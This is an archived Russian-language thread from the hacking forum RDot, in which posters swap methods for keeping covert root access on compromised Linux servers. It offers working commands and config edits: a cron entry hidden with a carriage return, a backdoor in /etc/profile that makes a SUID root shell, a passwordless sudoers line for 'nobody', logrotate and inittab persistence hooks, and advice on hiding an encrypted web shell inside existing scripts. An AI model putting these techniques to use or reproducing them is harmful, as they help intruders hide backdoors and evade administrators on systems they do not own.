RDot

RDot (https://rdot.org/forum/index.php)
-   Повышение привилегий/Privilege escalation (https://rdot.org/forum/forumdisplay.php?f=24)
-   -   Закрепление в системе (https://rdot.org/forum/showthread.php?t=1991)

DrakonHaSh 19.02.2012 15:44

Цитата:

Сообщение от b3 (Сообщение 23928)
Интересны ваши идеи по скрытию шела, бэкдора.

всунуть шел в середину существующего скрипта (выбрав его умнО по совокупности признаков) на серваке одной зашифрованной строкой с отступом в 200 пробелов. шел вызывать только при указании парольного MagicCookie или заголовка, иначе никаких действий - стандартная работа исходного скрипта.
сделать так, чтобы его нельзя было найти используя советы наподобие этого
т.е., в частности, использовать свой способ расшифровки шела используя методы a la отсюда

вставить в плюс к шелу еще и маленький бэкдор по тому же принципу что и шел, в скрипт, относящийся к другой системе скриптов (т.е. например !другая! cms, админка, ...) только без 200 пробелов, а прямо в код скрипта так, чтоб от там выглядел как родной. при этом, если использовать "шифровку" бэкдора, то применять метод отличный от того, что использовался при шифровке шела чтоб при обнаружении одного по аналогии не нашли сразу другой.

Untitled 02.08.2012 22:06

Что дольше живет: созданный второй пользователь с uid/gid=0 или модифицированный системный пользователь, опять же, с uid/gid=0? Какие-то способы сделать это менее палевным?

Часто в кроне можно найти скрипты, чекающие текущие системные файлы (/etc/passwd и подобные) с соответствующим бэкапом (и не только). Конечно, можно аккуратно все подменить, но иногда с этим надо долго возиться. Какие альтернативные варинты? Отредактировать сам скрипт, убрать его вообще из крона?

12309 02.08.2012 23:05

имхо лучше троянить суидный софт, чем создавать юзера. новый юзер - куда большее палево

16bit 03.08.2012 04:08

создавать юзера/логиниться под реальным юзером по ссш - это махать флагом руту - 'куку,я тут'

Untitled 03.08.2012 12:18

Цитата:

Сообщение от 12309 (Сообщение 27689)
имхо лучше троянить суидный софт, чем создавать юзера. новый юзер - куда большее палево

Много ли суидного софта, доступного извне, который можно без проблем пропатчить?

Цитата:

Сообщение от 16bit (Сообщение 27700)
создавать юзера/логиниться под реальным юзером по ссш - это махать флагом руту - 'куку,я тут'

Альтернативы (кроме патчинга)?

12309 03.08.2012 15:50

> Много ли суидного софта, доступного извне, который можно без проблем пропатчить?

find / -user root -perm -4000 -print
выбирай любой :)

12309 03.08.2012 16:37

создать юзера в mysql с удалённым доступом, прикрутить функции для выполнения кода (где-то тут на форуме была тема, поищи по слову UDF), из мускула вызывать сделанный суидник, профит.

b3 29.09.2012 17:20

Вчера пол ночи мучился с tmpfiles.d, как идея для закрепления. Смысл таков:

Цитата:

tmpfiles.d - Configuration for creation, deletion and cleaning of volatile and temporary files
Цитата:

Type:
f
Create a file if it doesn't exist yet (optionally writing a short string into
it, if the argument parameter is passed
)

То есть, мы можем сделать так что бы файл создавался с нужным нам содержимым в нужном нам месте:
Цитата:

[root@vbox tmpfiles.d]# tail -n1 systemd.conf
F /run/nologin 0755 - - - "System is booting up."
Все работает ОК, нужен ребут. Перезапуск службы не помогает. По крайней мере у меня на system.d в archinux

ЗЫ Вот еще интересный способ спрятаться в кронтабе: http://vladz.devzero.fr/004_hide-crontab.php
На случай если ресурс умрет, копипаста:

Here is an easy way to hide a task inside a crontab by using the carriage return character ('\r'), example (using cron version 3.0pl1-109):
Цитата:

$ crontab -l
no crontab for alice
$ printf "* * * * * >/tmp/x;\rno crontab for $USER\n" | crontab -

// new task (command ">/tmp/x") is hidden
$ crontab -l
no crontab for alice

// and it also looks hidden for root
# crontab -l -u alice
no crontab for alice

[ and one minute later ... ]

# ls -l /tmp/x
-rw-r--r-- 1 alice alice 0 juin 2 22:27 /tmp/x

b3 06.01.2013 15:26

Еще способ закрепиться через logrotate кто-то где-то писал, не могу найти.

man logrotate

Цитата:

The sharedscripts means that the postrotate script will only be run once (after the
old logs have been compressed), not once for each log which is rotated. Note that log file names may be enclosed in
quotes (and that quotes are required if the name contains spaces). Normal shell quoting rules apply, with ', ", and \
characters supported.

Цитата:

[19:22][root@debian-webserver386][/etc/logrotate.d]# logrotate -f apache2
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
[19:22][root@debian-webserver386][/etc/logrotate.d]# la /tmp/
итого 20K
drwxrwxrwt 4 root root 4,0K Янв 6 19:22 .
drwxr-xr-x 21 root root 4,0K Дек 10 16:15 ..
drwxrwxrwt 2 root root 4,0K Янв 6 19:11 .ICE-unix
drwxrwxrwt 2 root root 4,0K Янв 6 19:11 .X11-unix
-rw-r--r-- 1 root root 4 Янв 6 19:22 x3k
[19:22][root@debian-webserver386][/etc/logrotate.d]# cat /tmp/x3k
x3k
[19:23][root@debian-webserver386][/etc/logrotate.d]# cat apache2
/var/log/apache2/*.log {
weekly
missingok
rotate 52
compress
delaycompress
notifempty
create 640 root adm
sharedscripts
postrotate
/etc/init.d/apache2 reload > /dev/null && echo x3k >> /tmp/x3k
endscript
}

b3 14.01.2013 14:51

Способ закрепления в системе через /etc/profile

Выдержка из bash(1)
Цитата:

When bash is invoked as an interactive login shell, or as a non-interactive shell with the --login option, it first reads
and executes commands from the file /etc/profile, if that file exists. After reading that file, it looks for
~/.bash_profile, ~/.bash_login, and ~/.profile, in that order, and reads and executes commands from the first one that
exists and is readable. The --noprofile option may be used when the shell is started to inhibit this behavior.
Смысл в том что /etc/profile грузиться первее чем .profile из хома, и думаю менее паливнее писаться в него.
Цитата:

# cat /etc/profile
Код:

...
if [ "`id -u`" -eq 0 ]; then
  PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
else
...

Проверка на uid = 0. У рута свой $PATH, вот сюда и забэкдоримся.
Пример:
Код:

...
if [ "`id -u`" -eq 0 ]; then
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
cp /bin/sh /var/tmp/sh 2>/dev/null && chmod 4755 /var/tmp/sh 2>/dev/null # silent mode
else
...

Способ закрепления в системе через /etc/sudoers
Данный метод конечно более паливный чем предыдущий, но может пригодиться.
Если к примеру имеем шелл от nobody (или www, apache не важно) добавим пользователя в /etc/sudoers
Цитата:

[root@home /]# echo 'nobody ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers
[root@home /]# usermod -s /bin/bash nobody
[root@home /]# su - nobody
[nobody@home /]$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)
[nobody@home /]$ sudo id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(di sk),10(wheel),19(log)
[nobody@home /]$
PS usermod -s /bin/bash nobody делать не стоит, это я на локалке для теста дал шелл, на вэб-шеле такие махинации не нужны.

И "сложный" метод закрепления в системе это через /etc/inittab
Метод очень специфичный т.к. тут речь будет идти о удерживании вашего демона в процессах.
Код:

0d:12345:respawn:/usr/bin/evil_daemon
Таким образом при завершении процесса init будет Респавнить (перезапускать) его. Подробности в INITTAB(5)
ВАЖНО: изменения вступят в силу после ребута, но можно воспользоваться килом чтобы init перечитал конфиг:
Код:

kill -HUP 1
Способ хорош тем что такие файлы особо не перепроверяются админами.

Способ закрепления в системе через /etc/apache2/envvars
Скрипт содержит переменные окружения для Apache, запускается от рута при старте/рестарте вэб-сервера. Сам старт/рестарт происходит чаще чем казалось бы, потому как есть logrotate о котором я писал выше в теме.
Синтаксис bash все предельно примитивно.


Часовой пояс GMT +3, время: 03:03.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot